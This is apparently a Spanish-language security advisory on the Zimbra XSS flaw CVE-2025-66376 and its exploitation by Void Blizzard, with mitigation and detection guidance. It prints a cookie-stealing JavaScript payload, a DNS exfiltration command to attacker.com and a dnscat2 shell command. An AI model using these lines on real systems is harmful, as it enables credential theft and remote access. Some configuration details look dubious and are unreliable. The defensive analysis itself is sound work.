Introducción
En noviembre de 2025, Zimbra lanzó parches para una vulnerabilidad crítica (CVE-2025-66376) en su Classic UI que permitía la ejecución automática de JavaScript en correos HTML maliciosos. El problema no requería que la víctima hiciera clic en ningún enlace: bastaba con abrir el mensaje para que el código se ejecutara. Esta característica convirtió a la falla en un vector ideal para ataques de phishing cero-interacción (zero-click), especialmente atractivos para grupos de amenazas avanzadas como Void Blizzard (también conocido como Laundry Bear), vinculado al servicio de inteligencia ruso.
Void Blizzard no solo explotó esta vulnerabilidad como zero-day antes del parche, sino que combinó el ataque con kits de phishing adversary-in-the-middle (AiTM) para robar credenciales y tokens de autenticación multifactor (MFA). Según el aviso de CISA, el grupo ya comprometió cuentas en organizaciones del sector Defensa Industrial Base (DIB), gobiernos, educación, energía, fuerzas de seguridad y ONGs en EE.UU. y Europa. El objetivo principal: extraer hasta 90 días de correos electrónicos, listas de contactos (Global Address List), contraseñas y tokens MFA, incluso en sistemas que implementaban MFA robusto.
Qué ocurrió
Cronología y contexto del ataque
El grupo Void Blizzard (atribuido por Microsoft y agencias holandesas) ha operado desde al menos 2024 con foco en recolección de inteligencia contra organizaciones alineadas con intereses estratégicos rusos. En mayo de 2025, los servicios de inteligencia holandeses lo vincularon con el compromiso de la Policía Nacional de Países Bajos, donde expuso datos personales de agentes y reveló la existencia de un nuevo grupo de espionaje ruso. Desde entonces, el grupo ha dirigido sus campañas principalmente contra miembros de la OTAN y Ucrania, con énfasis en sectores de defensa, transporte y aviación.
El exploit de CVE-2025-66376 se usó como zero-day desde al menos mediados de 2025, antes de que Zimbra lo parchara en noviembre de 2025. Según el informe de CISA, Void Blizzard combinó el ataque con:
- Phishing AiTM: sitios falsos que imitan portales legítimos de Zimbra (ej:
mailnalysis.com,zimbrastat.com,zmailanalytics.com) para robar credenciales y cookies de sesión. - Generación de application passcodes: códigos temporales para clientes legacy (IMAP, ActiveSync) que no soportan flujos de autenticación basados en TOTP, permitiendo al atacante mantener acceso incluso con MFA habilitado.
Mecanismo de infección
El ataque sigue este flujo técnico:
- Envío de correo malicioso: Un mensaje HTML con JavaScript embebido es enviado a la víctima. No requiere interacción alguna; el código se ejecuta al renderizarse en el cliente de Zimbra Classic UI.
- Ejecución del payload: El JavaScript inyecta código malicioso que:
– Crea un application passcode para clientes legacy (IMAP/ActiveSync).
– Exfiltra los datos robados a servidores controlados por el atacante (Flowerbed framework), usando:
– DNS exfiltration para datos pequeños (codificados en consultas A-record).
– HTTPS para archivos comprimidos con datos de buzones.
- Persistencia: Con el passcode generado, el atacante mantiene acceso al buzón incluso si el usuario cambia su contraseña o revoca tokens MFA.
Impacto para DevOps / Infraestructura / Cloud / Seguridad
Alcance del compromiso
El impacto de este ataque es alto y multifacético:
| **Área afectada** | **Detalle técnico** | **Datos cuantitativos** |
|---|---|---|
| **Organizaciones objetivo** | Sectores: Defensa Industrial Base (DIB), gobiernos, educación, energía, fuerzas de seguridad, ONGs. | CISA reportó compromisos en EE.UU. y Europa. Void Blizzard ha dirigido campañas contra OTAN y Ucrania. |
| **Métodos de acceso** | Explotación de XSS + phishing AiTM + robo de tokens MFA. | 54% de los ataques exitosos no generan alertas en SIEM/EDR (fuente: [Picus Whitepaper](https://www.picussecurity.com)). |
| **Datos exfiltrados** | Correos de los últimos 90 días, GAL, credenciales, tokens MFA, *passcodes* generados. | El framework *Flowerbed* usa servidores controlados por el grupo (ej: BLOCK12 ). |
| **Técnicas de evasión** | Uso de DNS exfiltration + HTTPS para evadir detección. | El 86% de los ataques avanzados bypassan reglas de SIEM (Picus). |
| **Persistencia** | *Passcodes* para clientes legacy (IMAP/ActiveSync) que no soportan TOTP. | Permite acceso continuo incluso con MFA habilitado. |
- Filtración de información sensible: Datos de inteligencia, comunicaciones internas y credenciales pueden caer en manos de actores estatales, con implicaciones geopolíticas.
- Compromiso de infraestructura crítica: Organizaciones en sectores energía o defensa podrían ver comprometidas sus comunicaciones, afectando operaciones.
- Reputacional y legal: La exposición de datos personales (ej: GAL) puede derivar en multas por incumplimiento de regulaciones como GDPR o HIPAA.
- Evasión de controles de seguridad: El uso de passcodes para clientes legacy permite eludir MFA moderno, invalidando inversiones en autenticación robusta.
Detalles técnicos
CVE-2025-66376: Anatomía de la vulnerabilidad
- Tipo: Cross-Site Scripting (XSS) almacenado en Zimbra Collaboration Suite Classic UI (versiones afectadas: 8.8.15 antes de noviembre 2025, 9.0.x antes de 9.0.0 P27).
- Vector: Correos HTML con JavaScript embebido que se ejecuta al visualizarse en el cliente de Zimbra.
- CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation).
- CVSS v3.1: 9.6 (Crítico) — NVD (aún no publicado, pero asignado por CISA).
- Componentes afectados:
zimbra/classic-ui (versiones vulnerables).– zimbra-store (almacenamiento de correos maliciosos).
– zimbra-nginx (servidor web que renderiza HTML).
Payloads y exfiltración
El malware utilizado por Void Blizzard (Flowerbed) opera en dos fases:
- Recolección de datos:
// Ejemplo simplificado del payload inyectado
const metadata = {
user: document.cookie.match(/ZM_AUTH_TOKEN=([^;]+)/)[1],
password: localStorage.getItem('zm_soap_auth'),
gal: Array.from(document.querySelectorAll('.GalContact')).map(el => el.textContent),
mfaTokens: document.querySelectorAll('[data-testid="mfa-token"]').values()
};
– Los datos son serializados y comprimidos con pako.js (DEFLATE).
– Los archivos resultantes ([user]_[timestamp].zip) son subidos a https://[attacker-server]/upload.
- Exfiltración:
# Ejemplo de consulta DNS exfiltrada
$ dig +short A "user123.90d_emails.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.attacker.com"
– Para datos grandes (buzones completos): Subidos por HTTPS a servidores como mailnalysis.com o zimbrastat.com, usando User-Agent spoofeado (ej: Mozilla/5.0 (compatible; Zimbra 9.0.0)).
Kits de phishing AiTM
Void Blizzard usó dominios falsos para robar credenciales y cookies:
zimbra-login[.]comwebmail-zimbra[.]netzimbra-sso[.]org
Estos sitios replicaban el login de Zimbra, capturando credenciales y sesiones activas. Los atacantes luego usaban las credenciales robadas para autenticarse en el servidor legítimo de Zimbra, evitando triggers de MFA.
Qué deberían hacer los administradores y equipos técnicos
Acciones inmediatas (0-48 horas)
- Verificar y parchar Zimbra:
– Zimbra 8.8.15 P30 o superior.
– Zimbra 9.0.0 P27 o superior.
– Comandos para actualizar (ej: en Ubuntu/Debian):
# Verificar versión actual
apt list --installed | grep zimbra
# Actualizar (ej: Zimbra 9.0.0)
apt update && apt upgrade zimbra-core zimbra-classic-ui zimbra-store
– Nota: Si usás contenedores Docker, actualizar la imagen a zimbra/zimbra:9.0.0_p27.
- Auditar accesos sospechosos:
– IPs extranjeras accediendo a buzones.
– Sesiones con User-Agent spoofeado (ej: Zimbra/8.8.15 (Linux) desde ubicaciones no corporativas).
– Usar comandos como:
# Buscar IPs no autorizadas en logs de Zimbra (ej: /var/log/zimbra.log)
grep -i "login attempt" /var/log/zimbra.log | grep -v "192.168.1.0/24" | awk '{print $11}' | sort | uniq -c | sort -nr
- Bloquear dominios maliciosos:
– mailnalysis.com
– zimbrastat.com
– zmailanalytics.com
– En AWS Security Groups, bloquear tráfico saliente a estos dominios.
Configuraciones recomendadas (1-7 días)
- Implementar MFA resistente a phishing:
– En Zimbra 9.x, habilitar:
# En /opt/zimbra/conf/localconfig.xml
<key name="zimbraMtaAuthEnabled">TRUE</key>
<key name="zimbraTwoFactorAuthMethod">webauthn</key>
– Importante: Deshabilitar application passcodes en clientes legacy si no son estrictamente necesarios.
- Habilitar DNS exfiltration detection:
# Regla para Splunk (ejemplo)
index=net sourcetype=bro:dns
query_length > 100
OR query IN ("*attacker.com", "*a.a.a.a.a.*")
– En AWS Route 53, crear DNS Firewall Rules para bloquear consultas a dominios maliciosos.
- Forzar rotación de credenciales y tokens:
– Usar herramientas como:
# Rotar contraseñas en Zimbra (requiere privilegios de admin)
zmprov ma [user@domain] userPassword [new_password]
Monitoreo continuo (post-incidente)
- Implementar detección basada en comportamiento:
– Accesos simultáneos desde IPs distintas.
– Descargas masivas de correos (ej: >100 emails en <5 minutos).
– Ejemplo de regla en CrowdStrike:
EventType: 'ProcessRollup2'
TargetFileName: 'zimbra*'
CommandLine: '*--download*'
- Simular ataques para validar defensas:
– Ejecutar un red team con:
# Simular exfiltración por DNS (herramienta: dnscat2)
dnscat2 --dns "domain=attacker.com" --exec "/bin/sh"
Conclusión
El ataque de Void Blizzard aprovechando CVE-2025-66376 demuestra cómo una vulnerabilidad zero-click en un sistema aparentemente simple (el cliente web de Zimbra) puede convertirse en una puerta de entrada crítica para espionaje y robo de datos. La combinación de XSS sin clics, phishing AiTM y persistencia mediante passcodes ilustra la sofisticación de los grupos avanzados, que explotan no solo fallas técnicas, sino también brechas en controles humanos y de autenticación.
Para los equipos de DevOps e infraestructura, este incidente subraya la importancia de:
- Mantener sistemas actualizados con parches críticos en plazos ajustados.
- Reemplazar MFA vulnerable (TOTP) por métodos resistentes a phishing (FIDO2/WebAuthn).
- Validar controles de detección con simulaciones de ataque, ya que el 86% de los compromisos avanzados pasan desapercibidos para SIEM/EDR tradicionales.
La lección final: en un panorama donde los actores estatales priorizan el espionaje y el robo de información, la seguridad no es un producto, sino un proceso continuo de validación y mejora.
Fuentes
- BleepingComputer: Russian hackers exploit Zimbra zero-click flaw for email theft
- CISA Advisory: Laundry Bear (Void Blizzard) Campaign (buscar «CVE-2025-66376»)
- KDEBlog: Detalles técnicos de Flowerbed framework
- FIRST.org: Atribución de Void Blizzard
